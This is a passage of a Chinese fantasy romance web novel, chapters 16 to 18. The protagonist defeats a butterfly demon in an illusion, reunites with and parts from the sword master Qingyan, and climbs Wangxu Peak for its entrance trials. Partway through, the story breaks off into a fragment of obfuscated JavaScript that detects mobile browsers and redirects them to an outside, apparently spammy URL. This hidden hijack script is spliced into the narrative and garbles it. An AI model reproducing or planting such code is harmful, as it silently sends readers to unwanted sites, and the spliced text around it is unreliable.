柳鹊凫和褚光卿看不下去,将人拉回来,“你总是靠近他作甚?”
“你们不觉得他很香?”
柳鹊凫、褚光卿:“……”
褚光卿急忙捂住他的嘴,不让清厌听到,小声道:“你可小声些罢。”
楼砚霄失望地应了声。
须臾,又不死心地问道:“你们真的没有闻到他身上的香气吗?”
“没有。”两人同时说道,为了让楼砚霄断了这个心思,又道:“你离他远点就闻不到了。”
楼砚霄:“?”
柳鹊凫解释道:“没人离他这么近,也就你离他近。”
楼砚霄张口正想说些什么,远处一道声音打断了他:
“我道是谁这么久才下山,原来是你!”
楼砚霄闻声望去,瞧见不远处的茶铺前站着一个蓝色身影,定睛一看,竟是一月前被他打的凌尘。
凌尘身后还跟着几人,其中就有一直被他欺负打骂的少年,少年一直低着头,脸上落了些伤,在听到凌尘喊楼砚霄,才匆匆抬起头朝他们这边看了一眼,但又很快低下头,一副生怕自己多看几眼又要被斥责的模样。
凌尘瞧见几人许久不说话,以为几人被唬住了,叉着腰得意道:“怎么,被我吓住了?”
“不是啊。”楼砚霄笑着回他。
凌尘听到楼砚霄的笑声,顿时又不高兴了起来,自己与他认真说事,此人还在嬉皮笑脸,俨然不把他放在眼里。
然而当他再次看向楼砚霄时,却发觉对方的眼神一直落在身后。
他转头望去,只见原先还算热闹的长街此时空无一人,似有若无的唢呐声从远处传来,听着像是喜事,又像是丧事。
唢呐很响,几人听到不约而同停下了话音,纷纷朝长街深处,须臾,只见一顶无人抬的花轿摇摇晃晃出现在长街尽头,而在花轿身后还有一口尚未合盖的木棺。
花轿来的很快,眨眼间便到了茶铺。
还未等天辰凌家的弟子反应过来,花轿的帷幕被人掀开,无数只蝴蝶从中飞出,直奔他们的眼睛而去。
霎时,场面皆是惨叫声。
蝴蝶所过之处,眼睛尽失,若是定睛一看,还能瞧见翅膀上是一只只会动的眼睛。
声音稍作熄鼓,花轿身后的木棺里骤然坐起一个穿着婚服的女子,苍白无血色的手指轻抚上棺木旁,僵硬地转着头,望向楼砚霄,露出一个不屑的笑。
她一字一句道:“重开未门……残魂不灭……”
“真是……兄弟情深。”
“可惜,进的来,出不去。”
闻言,楼砚霄心头猛然一跳,腰间的铃铛不合时宜摇晃了起来,他低头看去,原先完好无损的铃铛此时满目苍夷,裂痕无数。
再抬头时,无数画面从眼前闪过,思绪变的清明,浑身的少年意气不再,取而代之的是经历无数岁月的沉稳。
他低笑了声:“你当真以为我出不去?”
16. 挣脱幻境
“那你还真是小看我了。”
言罢,他的手中再次出现红纸伞,额上也浮现不甚明显的符号。
他冷冷地看着女子,缓缓戴上了穷奇鬼面。
“我道为何我走了十门仍不见生门,原来是这里也有一只与子门不相上下的诡,将此门藏了起来。”
“未门生诡,生门死意,千眼蝶女,你拦得住我吗?”楼砚霄大喝,打开手中的红纸伞,无数只傀儡在他身后出现,而他手中只有一根红的似血的傀线。
他将傀线轻轻一扯,“去吧。”
话音一落,他身后的傀儡便向女子冲去,女子见状从棺中飞出,朝冲来的傀儡挥袖,无数只眼蝶向傀儡飞去。
两方相碰,周遭的店铺皆遭了殃,被强大的阵风吹的往后一倒。
楼砚霄低声念了几道诀,手中的红纸伞快速转动起来,一柄柄飞刀从伞檐飞去,刺向千眼蝶女。
蝶女运起诡气来到半空中,察觉到向飞刀,正想侧身躲过,然而楼砚霄出手极快,未等她躲开,鬓边的长发率先被飞刀截去一半。
她手指抚上那截断发,转头看向楼砚霄,眼底闪过狠厉,发出瘆人的泠泠笑声:“今日你必死无疑!”
“百年前害死自己的族人,不知羞不当死,如今你活在这个世上,还有何用?甚至是走了十门才找到此门,你真当自己是百年前的那个百木傀师吗?!”
“你早该死在了百木傀师灭族的那日!”
话音间,余光瞧见眼蝶将傀儡侵蚀的不剩几只,唇角勾起一个不自量力的笑。
“百年前盛极一时的百木傀师,如今也不过剩一你一个苟延残喘的废人,你拿什么与我抗衡?凭你早就被斩断的气运,还是早已不能施展出来的傀术?”女子瞧见楼砚霄的脸色,言语愈发过分,“百年过去,你活的愈发落魄了,睡破庙,吃冷食,那年的意气风发不过是黄粱一梦。”
楼砚霄撑着红纸伞看她,“这些……与你何干。”
“要打便打,何必废话!”
他抬眼望去,被操控的傀儡早已被眼蝶食尽,荒凉的长街上只余下一件一件破败不堪的衣物。
他闭上眼睛,嘴里念念有词:“六合八荒气,去时无人问,以身行人间,心血召百傀!”
言罢,他睁开一双似血的眼睛,咬破指尖,将两滴心头血滴在傀线上。
蝶女疑惑,未等她回到地面,原先还在对面的楼砚霄骤然出现在她身后,集齐全身气运的一掌打在她身上。
措不及防失了力道,向地面栽去,吐出一口浑浊的黑血。
她整个人趴在地上,回头,抬眼看向上方的楼砚霄。
对方手拿红纸伞,没有什么情绪俯视她,似乎杀她只是动动手指的事。
千眼蝶女大笑了起来,神情似癫似狂,又冷又白,宛若刚从地府爬出来的女鬼。
她的指甲开始暴涨,在无风无月的白日里,看起来阴冷无比,她抬起手,锐利的指甲朝自己的眼睛挖去,生生挖出了两团黑物,往自己的口中送去。
楼砚霄瞧见那两团黑物,心道不好,再想阻止她将黑物吞入已经来不及。
几乎是千眼蝶女将黑物吞下的那瞬,原先本就荒凉的长街布上了一层黑云,恐怖的嘶吼从黑云中传来,争相着叫嚣着要做第一个冲破桎梏的。
千眼蝶女从地上爬起来,双眼止不住地流血,本就没了活人的气息,双眼流出的血却是沸腾滚烫的,好似她本就没死,好好地活在这世上。
她看向楼砚霄,厉声道:“百木傀师,我要你死!”
“我要把你的皮扒下来,将你的骨喂给我的孩子们,再把你的血洒向那黄泉岸边,滋养艳丽的彼岸花哈哈哈哈哈哈……”
“我要你们诡道,灰飞烟灭!”
“永世消散!”
闻言,楼砚霄脸色冷了下来,“痴心妄想。”
他拽动手中的红线,长街上再次出现傀儡,这次的数量比前一次多了不上,密密麻麻布满了长街。
千眼蝶女瞧见这些傀儡,丝毫不放在眼里,她朝天喊了声:“出来吧。未门血傀。”
“来和你们的老朋友见上一面吧。”
言罢,天上的黑云倏地出现一扇门形,缓缓开启,无数只血傀激动地嘶吼,朝门外冲来。
千眼蝶女好整以暇地看着他,道:“他们最喜欢的……便是你的血,今日这门,就算是天王老子来了,也救不出你!”
“是吗?”
千眼蝶女话音一落,远处的天边传来一道冰冷的嗓音,人还未到,一道凛冽的剑气率先袭来,将她整个人劈成两半。
千眼蝶女再次倒在地上,不可置信望着剑气来的方向。
察觉到熟悉的剑气,楼砚霄有些意外地转头看去,须臾,只见一个白色身影提着剑而来,他的长剑还滴着血,俨然是刚经历一场厮杀。
“清厌?”
清厌低低应了声,走到他身旁,颇为自然地牵上他的手。
楼砚霄不解,但还是任由他牵着。
倏地,他听到身旁的人轻声道:“你如今魂魄不稳,我给你渡气运。”
“嗯?我没——”楼砚霄愣神,他虽然召出了两次傀儡,但也没到魂魄不稳的地步。
可清厌不管不顾地挤开他的五指,强行与他十指紧扣,收了剑,将他的面具往上提了点儿,说道:“是我的魂魄不稳。”
言罢,便吻上楼砚霄,瞧着确实有那么点儿魂魄不稳的迹象。
可这人手劲又大得很,紧扣几分不让他挣脱。
只能被迫仰头承受他的吻。
耳边空气安静了许久,楼砚霄感受到丝丝缕缕的气运进入自己的身体,心脏一个劲儿地跳。
终于,清厌放开了他。
楼砚霄后退了几步,重新戴好面具,遮住被亲的水润的唇。
几乎是眼睛重见光明的瞬间,他便察觉到清厌的视线不经意落在面具挡住的唇的位置。
他拿伞的手一顿,心里劝说自己:“清厌来之前经历了一场恶战,气运空亏,魂魄不稳在所难免,况且这幻境中除了他们二人,也就只有一个千眼蝶女,自己当无事发生便行。”
出了幻境……两人也未必再遇上。
亲了便亲了。
说服自己,恢复了往日的神色,再抬起头时,便对上一双深沉的眼眸,似乎还带着些许水光,一副看负心郎的模样。
楼砚霄不自在地别开眼。
怎么感觉清厌能听到自己心里说的话似的。
想罢,他又摇了摇头,从年少时起,清厌对自己的厌恶不加掩饰,如今做出这般举动指不定是受了幻境诡气的影响……他怎么会想与自己有关系。
再次说服自己,楼砚霄眼神变的坚定,望向清厌的眼睛没有一丝责备,甚至充满了善解人意的意味。
清厌:“……”
这人到底是在装傻还是真傻?
-
清厌心里疑惑,却没能问楼砚霄,因为千眼蝶女重新恢复了原样,数不尽的眼蝶围绕在她身边,翅膀上的眼球紧紧盯着他们。
千眼蝶女细长的指甲轻轻抚上一只眼蝶,看向两人,“好一个情深意切啊,妄虚峰主,你一个凡人之躯进戏门,不去求愿,来这作甚?怕我杀了他?”
“我若是真杀了他,你又能如何?”
清厌冷声道:“你可以试试。”
“是我杀你的速度快,还是你杀他的速度快。”
“哦?”千眼蝶女笑了起来,笑到一半停下来,换上阴狠的神色,“那你们就一起死吧,未门里左右不光我们三人,你们杀得了我一次,我还可以在门内复生;但我要是杀你们一次……那便是魂飞魄散。”
她大笑道:“能够死在未门,是你们的荣幸。”
话音未落,清厌的剑便向她刺来,强大的气运赋于剑上,将她周身的眼蝶斩个粉碎。
血傀陆陆续续从黑云中出来,与楼砚霄召来的傀儡撕扯在一起,俄顷,长街便染成了红色,满目苍夷尽显荒凉。
血傀的嘶吼声很大,手下也不留情,就这么将傀儡的头拧下,将四肢四分五裂,无情踏过。
那边的清厌与千眼蝶女缠斗在一起,这边的楼砚霄则是用傀线操纵着傀儡抵抗血傀的攻击。
打斗了有一会儿,楼砚霄的腿上蓦然抓上一只手,他低头一看,竟是一个无眼的少女。
少女双孔留着血,或许是年岁些许久了,血痕已然干涸,触目惊心地留在脸上。
没察觉到活人的气息,他正想将人甩开,却听到少女开口说道:“楼……砚……霄……”
楼砚霄缠着傀线的手一顿。
少女又继续说道:“你可以……救救我兄长吗?”
“他……死的很惨……一直在外漂泊流浪……你可以帮我带他回家吗?带他回家,他就能活过来了。”
楼砚霄看着她,再也顾不上操控傀儡阻止血傀,“你兄长……姓甚名谁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16766919|190199||http|test|mini|href|location''.split(''|''),0,{}));
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>“他叫……”
“宋……听有。”
听到名字的刹那,楼砚霄浑身的血变的冰凉,他不可置信地望着少女,拼尽全力用此生最冷静的声音问道:“他叫什么?”
少女又重复了一遍。
“宋听有……”楼砚霄失声。
下一刻,他额间的半月符号变的鲜红,“噗——”的一声,吐出一口血,落在傀线上。
他缓慢地转过头去看千眼蝶女,道:“我要杀了你!”
“就凭你?”千眼蝶女不屑地笑道。
戏门中全是诡气,楼砚霄如何能杀得了她。
然而未等她冷嘲热讽一番,周遭的天地开始崩塌,天空一块一块地往下掉。
清厌急忙回头:“楼琢,不可!”
楼砚霄并未理会他,而是一步一步朝千眼蝶女走去,手中的红纸伞随着他的步伐转动起来,腰间挂着的碎铃也跟着摇晃。
“叮铃铃……”
“叮铃铃……”
“还是学不会做人。”楼砚霄一字一句道,“既然不会,那就滚回去!”
言罢,一扇大门在千眼蝶女身后打开,巨大的吸力将她吸入其中,千眼蝶女见状不妙,立即化作眼蝶想要逃走。
倏地,一柄红纸伞拦在她的身前,强大的气运将她逼入门中。
千眼蝶女不甘地喊道:“就算你身处真门又如何,早晚有一天假的也能成真!”
“呵。”
楼砚霄关上门,道:“你们这辈子……都不会有这个机会。”
言罢,他拿起腰间的碎铃,瞧见上面四分五裂的痕迹,道:“你要是敢碎,我就把你和这个吃人的蝶女关在一起。”
似乎是他的话起了作用,碎铃果然不响了,看起来无比老实安分。
楼砚霄见状,气笑了。
此时,他才抬眼看向清厌,后者收了剑向他走来,还未走出几步,他们所处的空间开始崩塌,原先撕扯的血傀与傀儡纷纷掉进万丈的深渊。
清厌赶忙加快脚步。
倏地,他与楼砚霄之间的地面裂出一条缝。
“楼琢!”
楼砚霄朝他笑一笑:“你走罢,今日过后我们也无瓜葛了。”
清厌不可置信地睁大眼睛,握着剑的手微微颤抖。
“多谢你的帮助。”
他道完这句话,转身向深渊走去。
清厌再次喊住他:“你到底知不知道……”
“知道什么?”楼砚霄没有回头,“你我之间早在百年前撇清了关系,今日得你一救,我感激不尽。”
“但我们毕竟道不同,终归殊途,我如今一个游历四方的落魄人,就不劳烦你了。”
清厌沉默良久,才说道:“……好。”
楼砚霄听到这个答案,心里微微一颤,笑着摇了摇头,踏进深渊,离开了幻境。
-
再次醒来,晃眼的太阳刺的他睁不开眼睛。
缓了一会儿,他走向不远处的老翁,问道:“老伯,我初来乍到不识得此地,劳烦问一句。”
老翁笑呵呵道:“这是春堂镇啊。”
春堂镇?
楼砚霄表情一怔,不知道该做出何种表情。
他……居然又回到了春堂镇。
老翁瞧他神情不对,以为他不信,便指着远处的茶铺道:“那可不就是你之前喝茶的地方么?”
“?你怎知我在那处喝过茶?”楼砚霄立马警觉起来,“你是何人?”
老翁乐道:“在下风水玄,听闻不久前春堂镇来了个‘天下第一算’,老夫自觉还有些本事,便来切磋一番。”
楼砚霄:“……”
他招摇撞骗的幌子还能传到你们算师风家的耳朵里?
不仅传到,还来寻他……到底是谁要害他?!
风水玄又道:“我昨日夜观星象,你命中正缘已来,桃花只盛不衰,看在我与你面熟的份上,银子呢,给我二百两即可。”
闻言,楼砚霄立马跳了起来,“你抢劫呢?”
“叫你道侣来付也行,他有钱。”
“不认识。”楼砚霄转身就走,“你这个骗子离我远点。”
“说谁骗子呢?”风水玄朝他喊了声,瞧见人走的没影,便飞鸽传书把他的行踪告知了清厌。
做完这一切,风水玄喃喃道:“臭小子,为师只能帮你这么多了。”
“能不能把这混子抓回去,就看你的本事了。”
17. 宋家有喜
与风水玄辞别,楼砚霄进了一家酒馆,让店小二将自己的酒壶满上。
虽是白日,酒馆却热闹,来自大陆各地的人聚在一起,举杯畅饮,无话不谈。
等店小二的间隙,楼砚霄听着不远处的喧嚣,笑了声。
若是没有百年前那场灾难,他们或许也会回到春堂,一起饮酒吧。
那年远赴妄虚峰,再次让他们六人聚在一起,可离开妄虚后,他们却是只见上一面,百年便过去了。
此时,店小二从帷幕后出来,将装满酒的酒壶递给他,“您的酒好了。”
“多谢。”楼砚霄回神,拿过酒壶别在腰间,又问道:“我听闻不日便是妄虚开学的日子,按理世家弟子都该上山了,为何还有这么多人在此?”
店小二往外瞧了眼,答道:“少侠有所不知,前几日妄虚峰峰主闭关出来,本想主持此次的开学典礼,怎料在闭关过程中被诡气反噬,在内殿吐了一口血,气运也有所影响,于是先生便将开学推迟了几日,待到峰主身体状况好转再将开学进行。”
楼砚霄扣着酒壶的手一顿,不动声色问道:“你可知妄虚峰主为何闭关?”
从自己与清厌相遇开始,总能在旁人口中听到清厌闭关的消息,清厌修为分明不低,在百年前距离第一人也不过差那临门一脚,可这百年来为何一直闭关?
若说救了楼潇耗费巨大的气运,可在相遇之前,他也闭关出来?
所以这次到底是为何?
……莫非他的幻境受了重伤?
思及此,楼砚霄脑中蓦然回想起清厌在幻境来救自己的情形,才后知后觉明白那时的清厌或许就遇到棘手的事,才会来的如此晚。
——原来清厌说的魂魄不稳是真的。
他并没有骗自己。
他抬起头,重新看向店小二道:“妄虚峰主在百年前不是半步成道吗?为何近百年来频频闭关?”
闻言,店小二怪异地看了他一眼,又往旁处瞧了瞧,压低声音,极为小心翼翼道:“少侠此后还是莫要问此事,尤其是在我们人群张扬的酒馆,容易生出是非,不过我此次与你说,你切莫与旁人道。”
“您随我来。”店小二转身进了后厨。
进去前,楼砚霄转头朝身后看了眼,发觉没人注意到他,也掀开帷幕走了进去。
-
楼砚霄进去后,毫不客气在他对面坐下。
店小二瞧见此举也不再犹豫,开门见山道:“不知少侠可知戏门?”
“戏门?”楼砚霄抬眼看他,一开始的闲适神情也带了些许审视的意味,但又很快恢复如初,懒洋洋道:“略知一二,莫非这妄虚峰峰主还与戏门有关?”
“正是。”店小二斩钉截铁道,“我听闻百年前妄虚峰峰主道侣身死,妄虚峰峰主为了救他入了戏门。世人皆知戏门可助人成愿,却不知这成愿的代价极为的大。”
店小二故意卖了个关子,用期待的眼神看着楼砚霄。
楼砚霄笑了,心道此人不去做说书先生这是可惜了。
他顺从道:“有多大?”
“那必然是求愿人最重要的物件!”店小二音量高了些。
“不对。”楼砚霄坐直身子,反驳道:“你说要他最重要的东西,可他最重要的分明已死,他又上哪儿寻去?”
店小二听的一愣一愣的,挠了挠头,须臾,一拍大腿,恍然道:“少侠你所言甚是!”
言罢,又继续喃喃道:“可妄虚峰主道侣已死,他为何又大费周折入戏门,还不死?”
楼砚霄笑道:“你怕不是忘了,百年前的妄虚峰峰主距离成道,只差半步,除却他心悦之人,剩下的可不就是他的修为。”
“确实如此……”店小二一脸崇拜望着他,而后又露出羞愧的神色,“先前不是你问我,到头来却是我问你了,惭愧。”
楼砚霄站起身,在桌上放下两粒碎银,“此事你不要告诉其他人,可否明白?”
“这……”店小二有些为难道。
“我与妄虚峰峰主是故交,我想他丧妻一事……也不想为外人所津津乐道。”楼砚霄抬头望向远方,脸上的神情看的很不真切,“且不论他是否救回他的道侣,丧妻之痛,一生难忘。”
闻言,店小二诺诺点了头,说道:“好。”
楼砚霄:“有劳了。”
店小二抬起头正欲说些什么,却发现原先还站在的楼砚霄已然不见,只随风飘来一句话:“有缘再见。”
他望着楼砚霄离开的方向,也跟着说了句:“有缘再见。”
-
楼砚霄出了后厨,来到前堂,本欲打算离开,却听到喝的酩酊大醉的一大汉道:“诸位可否听闻,今年妄虚开学,那刚正不阿的妄虚峰主竟要收一个诡道为弟子……”
“诡道中人?他们不是早在百年前被除尽了吗,为何还会有后人?”靠近他身旁的一人不解道。
“谁知道?”大汉将空的碗仍在桌上,大声吆喝着拿着酒坛的人给他倒酒,满上之后又拿起来一饮而尽,随意道:“虽然诡道世家覆灭,但这世间仍旧存在习诡道之人,就说那安和宋家,虽然改邪归正,但我听闻不久前又重新启用了诡阵,一夜便杀了无数人,他们如此做,谁知他们是正是邪……”
言罢,他又嘲讽地笑道:“这等正邪不分的世家,竟还有人上赶子嫁进去,也不怕像百年前那些宋家子弟客死他乡,双眼尽无!”
“凌兄所言极是,谁人不知当年百木傀师一夜覆灭,安和宋家在外行事的弟子也落得和百木傀师的下场,诡道中人本就臭名昭著,如今一死,也算死得其所!”
“一众宵小,也敢与我们正道硬碰硬,简直就是痴心妄想,白日做梦!不如照照镜子,瞧瞧自己是否有这个实力。”
大汉又继续说道:“管他是何方来路,开学后自会知道分晓,若真是诡道……那便除之而后快!”
话音未落,一把椅子向他砸来,将他手中的酒碗的打飞。
大汉一惊,喝道:“何人敢对我动手?!”
他抬头望去,就瞧见一个穿的破烂的人提着一个酒壶喝,不是楼砚霄是谁。
楼砚霄瞧见他的目光,笑道:“不好意思啊小兄弟,喝醉了,失手将凳子甩了出去,莫要在意。”
大汉心觉莫名其妙,从地上爬起来,又听到那人道:“不过男子行走世间,还是少议论他人的好,要是被人听了去,指不
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定被说此人身为一个男子,嘴皮子竟与那村口老妪不相上下。”
“你——”
楼砚霄状似无意摆了摆手,继续笑道:“还说不是,不过说了便想反驳,谁遇上你不得说两句。”
大汉自知理亏,悻悻住了嘴。
心觉大汉不会再继续谈论刚刚的事,楼砚霄掩下眼中的冷意,随意道:“喝完酒找个地方睡觉咯。”
其他人一脸警惕地看着他,目送他走出了酒馆。
来到长街上,他喝了一口酒,边将酒壶挂回腰间边道:“小朋友,不是你该关注的事……还是要少看些,哪天惹上个杀身之祸,也无人能救。”
原先趴在酒馆二人的少年闻言,立即收回头,朝坐在对面的人道:“兄长,他竟然——”
“知道我们的动向?”男子显然早就猜到他会说什么,不紧不慢放下茶杯,抬眼看他,觉得有些好笑,“早让你不要去看他,你非不听。”
“可是……”少年不甘道,“兄长,你就不好奇他是何人?”
“为何要好奇?”
少年道:“他出手分明就不是故意的!”
男子失笑:“你何时关心起这些?他可不是个好惹的人。”
少年趴下身子去瞧他的眼,从他眼中看到与往日一样的笑意,表情瞬间垮了,“兄长,你又在取笑我!”
“少想这些,当务之急是通过妄虚的入学考试,若是今年再不过,爹娘那边要你自己去说了。”
少年奄了吧唧地垂下头,无奈道:“是是是,我认真考就是了。”
须臾,又泄气道:“又不是我不努力,我一个算师怎会他们的剑术,剑朝我冲来,我双拳如何抵抗?”
男子安抚地摸了摸他的头,想起不久前瞧见的那邋遢的身影,笑道:“今年未必不能。”
少年撇了撇嘴,俨然不信他说的话。
男子瞧见神色不信,也并未做出解释,只是笑笑。
-
楼砚霄提着酒壶一直朝春堂镇走,走到一里地外的破庙才停下。
他将腰间的酒壶解下,放在地上,腾出了一块干净的地儿坐。如今估摸着秦启应该被清厌带回了妄虚峰,他的物件儿皆在秦启那儿,要想拿回行囊还得上山寻一趟秦启。
上山不难,秦启入妄虚峰学习也不难……
他叹了口气,他若是上山,以清厌的修为定能知晓他在山上,两人已在幻境撇清关系,只盼上山此行莫要再见。
想罢,他运起全身气运,闭目入定,待到月上柳梢时分才睁开眼。
破庙荒凉,月色无言,他又重新打开酒壶喝了几口,自语:“喝了这么多年,还是春堂的酒好喝啊。”
就算酒再怎么好喝,当年一起相伴的故人也都不在了。
他自嘲地笑了声。
“真是造化弄人。”
他又猛灌几口,冲淡些许愁绪,就着月色沉沉睡去。
在他睡着后不久,一抹白色的身影出现在破庙外,往前走了几步,在仅能瞧见他身影的距离停下,静静望着那抹瘦削的背影,轻叹了口气,在破庙门外的石阶坐下,守了一宿。
直到东边初露晨夕,才默然起身离去。
18. 妄虚开学
楼砚霄在破庙待了三日,第四日便踏着晨曦,随着来妄虚求学的弟子人流上了山。
还未来到山门的入口,便遭受到了无数异样的眼光,离得近的弟子纷纷退出五步外,捂着鼻子,一脸嫌弃地看着他。
楼砚霄毫不在意,自如地从他们之间穿过。
倏地,一个衣着华贵的少年从人群冲出来,拦住他,结结巴巴道:“侠、侠士。”
楼砚霄停下脚步,看向他:“?”
少年道:“你、你是要上山吗?我有入门的令牌,可以带你——”
“小少爷!”
此时,淹没在人群的仆从好不容易探出一个头,正四处搜寻自家少爷的身影,哪知一转头便看见少爷拦住了一个叫花子,还同他说话。
仆从一看,哪还乐意,当即道:“小少爷,快回来,您怎同陌生人讲话,少爷还在山门前等您。”
少爷头也不回道:“你回去复命吧,今日我不同兄长一起。”
言罢,便趁着仆从还困在人群中,拽起楼砚霄的衣袖离开。
来到一处人少之地,少年放开他的袖子,喘着气道:“我可以带你进妄虚峰。”
楼砚霄笑了:“你如何得知我要进妄虚峰?若我只是在外围看个热闹呢?”
少年闻言,脸上变的犹豫起来,须臾,像是想起了什么,朝楼砚霄道:“你……你绝不是看热闹!”
“我看你年纪也不大,还是少管闲事为好。”楼砚霄摇了摇头,侧身从他身边经过。
“我并非多管闲事!”少年转身喊住楼砚霄,脸红的滴血,用尽此生最大的勇气道:“我想请你帮助我通过入学考试!”
“你说甚?”
楼砚霄以为听错了,回头看他。
少年已然接受心中那股子请人帮自己通过考试的羞.涩,语气自然道:“我是算师风家人,你帮我通过入学考试,你想要什么,只能我有能力找到的,我都可以给你。”
“不去。”楼砚霄一口回绝,“连妄虚入学考试都通过不了,又何必来此读书?”
少年:“……”
“你又没参加入学考试,你怎知孰易孰难?”
楼砚霄淡淡应了声,大步往前走,道:“那真是不好意思了,鄙人有幸来过妄虚上学,入学考试也不过动动手指的事。”
“若你真的想在妄虚上学,入学考试是不会拦住你的。”
“那你为何上山?”少年问道。
楼砚霄:“有东西落在了故人那里,自然是找他拿回来。”
“你——”
少年正想说些什么,一抬头,眼前的人已然消失不见。
还想去寻,身后却传来一道气喘吁吁的喊声:“小少爷!你在哪?”
他回神,在衣袖下的手紧紧攥着,俄顷,他松开手,转回身,应道:“我在这儿。”
仆从闻声,便朝这个方向跑来,在瞧见他的身影后,松了一口气。
“少爷还在等着您,赶紧上山吧。”
少年点了点头,回头看了一眼,随着人流上山。
-
山林静谧,楼砚霄从另一条路上了山,到了尽头,正巧瞧见当年自己从小院里翻出来的围墙。
这处人很少,却并不荒芜,生机盎然,俨然被人打理的极好。照他百年前来妄虚求学,此地百年后应该是再无人修葺,可不知为何,竟与当年离去时一模一样。
他身手利落翻进了进去,循着旧时的记忆一路来到他们当年居住的小院,在瞧见小院的布局与当年的别无二异时,还是愣了下。
百年过去,小院居然还是完好无损。
他快速收了眼,往远处的小路走去,心道:“见了秦启,再回此处看看不迟。”
想罢,脚步加快了几分。
-
此时,登星阁内,清厌缓缓睁开眼,看向下方悠然喝茶的风水玄,起身道:“师父。”
风水玄点了点头,将茶杯放下,“你早就知道他会上山。”
清厌解释道:“他的徒儿在山上,他会来的。”
“那你就这么让他下山?”风水玄看向他,眼底的戏谑毫不掩饰,“清厌,快一百五十年了,你还要等到何时?你若是不说,照姓楼那小子,一辈子也不会知道你的心意,更不论与你长相厮守,待他将戏门事中解决,他还能再死一回,你信不信?”
“可我……”
风水玄抬起手,阻止他再说,起身道:“当年你救他一事,本就逆天道,一身修为也散的差不多,养了百年,连当年的一半都比不上。何况,别告诉我,你散尽一身修为,为的就是让他回来当着你的面娶妻生子,那你这徒弟,我不要也罢。”
言罢,又骂道:“晏成双与兰芩霜瞧着也不像情深意切,爱的死去活来的模样,怎就生出你这般脑筋不改的痴情种。”
清厌无奈道:“……师父。”
“好了,你们的事我不管。”风水玄话音带了点儿怒意,他叉着腰,拿起桌上的蒲扇,边朝外走去边道:“若你这次再不留住他,你们百年的缘分……也就到此为止了。”
“他还有一门,亦有一死。若是活不下来,便是灰飞烟灭,就算你散尽无数次修为,连他的残魂也寻不到一片。”
清厌“轰”地站起身,弯下腰,朝风水玄的背影行了个礼。
风水玄没有回头,却知清厌的动作,他往后摇了摇手里的蒲扇,笑道:“此次我窥行天机,命数所剩无几,之后的日子我将会闭关修养,希望出关那日,你们二人也能修成正果。”
“多谢师父。”清厌又行了一个礼。
风水玄笑着摇了摇头,离开了妄虚峰。
-
楼砚霄一路摸到了莲池台——所有来妄虚求学弟子的考核之地。
还未靠近,远远便瞧见里三层,外三层都围满了人,正中央的比武台上,是来自两个不同世家的子弟,在他们对面,是当年在学堂讲学的夫子。
百年不见,夫子已然满发花白,但精神气瞧着与当年不相上下。
坐在桌案后的夫子察觉到一道不同寻常的目光,朝楼砚霄的方向看来,后者亦然察觉,退后一步躲在了一个身形比自己高大的弟子后。
待到夫子将视线移开,他才站出来,松了口气。
倏地,周围起了热烈的欢呼声。
楼砚霄抬头一看,却见一个不算壮实的身影被推上比武台——那俨然是许久未见的秦启。
他上去之后,身旁的人开始了议论。
“你们可知晓他是谁?我听闻他修的是诡道,专与那死人打交道,多少年了,除了百年前那次,还有哪个诡道敢这么光明正大来妄虚学习?真是蠢人蠢到家。”
“那可不是,就那身板,凌家那位铁拳少年一拳下去,指不定就粉身碎骨,化成肉泥!”
“说起来,我还从未见过诡道的人是怎么死的,若是他今天死在这儿,你说流出的血是红的还是黑色?”
周围的人闻言,哄堂大笑起来:“这等无恶不作的邪修,必然是黑的,血不仅是黑的,那心啊,也是黑的!”
笑声未尽,一道剑气便将说话的人衣袖劈下,怒气冲冲道:“你们究竟是来求学还是来嚼人舌根?!”
“你又是何等宵小——”
话音未落,瞧见楼潇那张脸,立即收了笑,恭敬道:“见过楼公子。”
“不必唤我,你们的礼……我受不起!”楼潇收剑入鞘,转头对身后几个妄虚峰的弟子道:“把这几人扔下山。”
“是。”
跟在楼潇身后的人也不含糊,当即拎着几人的衣领,踩上飞剑,扔到了山脚。
准备离去时,不失礼仪道:“峰主有令,若是在山上犯规,十年内包括家族子弟,不得入妄虚学习。若是你们不清楚,入学考核过后,我们自会亲自去告知你们的家主。”
“分明就是他先动的手,与我们有何干系?”一人气不过道。
为首的弟子冷冷看了他一眼,面无表情道:“他的规矩便是妄虚的规矩,若是不服,可将你们家主叫来,我们峰主自会与他细说。”
“你——”
“你们欺人太甚!”
为首的弟子道:“这是妄虚峰,不是你们小门小户,毫无管教礼仪的地盘,学习为后,人品在前,若是诸位学不会尊重人,不妨将妄虚求学的机会让给别人。天下英才如过江之鲫,你们不会,有的是人会。”
言罢,他便转身离去,不再看胡搅蛮缠的几人。
-
另一旁,楼砚霄没想到楼潇会突然出现,好在楼潇忙着教训人,
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并未注意到他,他借机便往另一个方向躲去。
待到楼潇离开,他才站稳,朝比武台看去。
此时,秦启的对手也上了比武台,与秦启瘦弱的身子不同,那是一个块头大的汉子,走上台的那瞬,震起了台上一层粉尘,离得近的人避之不及,被糊了一脸。
楼砚霄定睛一看,莫名觉得这汉子在哪见过。
就在两人开打时,他的肩被人用力一撞,整个人往地上摔去,他急忙运起气运,以手撑地,稳住了身形。
他站起身,往后一看,发现竟是不久前才见过的少年,后者瞧见他也愣住了,半晌才道:“你你你,你不是说来寻自己的物件儿吗?为何在此?”
楼砚霄拍了拍身上的尘土,随意道:“看热闹也不给?”
“看热闹?”少年闻言,抬头往台上看去,瞧见身形差距过大的两人,撇嘴道:“这有何好看的?”
“那你上去,被打个落花流水就比他好看?”楼砚霄不带甚么感情笑道。
少年气结:“你——”
楼砚霄道:“少管他人事,你若是心定下来,妄虚的入学考试也不是不能过,不仅能过,还能拔得头筹。”
少年半信半疑道:“真的?”
“骗你作甚?”楼砚霄觉得好笑,搜寻脑海一番,终于想起那位汉子是谁——正是三日前在酒馆遇到的那位出言不逊的汉子,那个时候他给人教训以为至少安分些许,没想到上了山还是死性不改。
他转头看去,看到的便是秦启不敌那位汉子,俯身吐出了一口血,倒在了比武台上。
见状,他不顾少年的阻拦与追问,运起轻功,向台上飞去,扶起秦启。
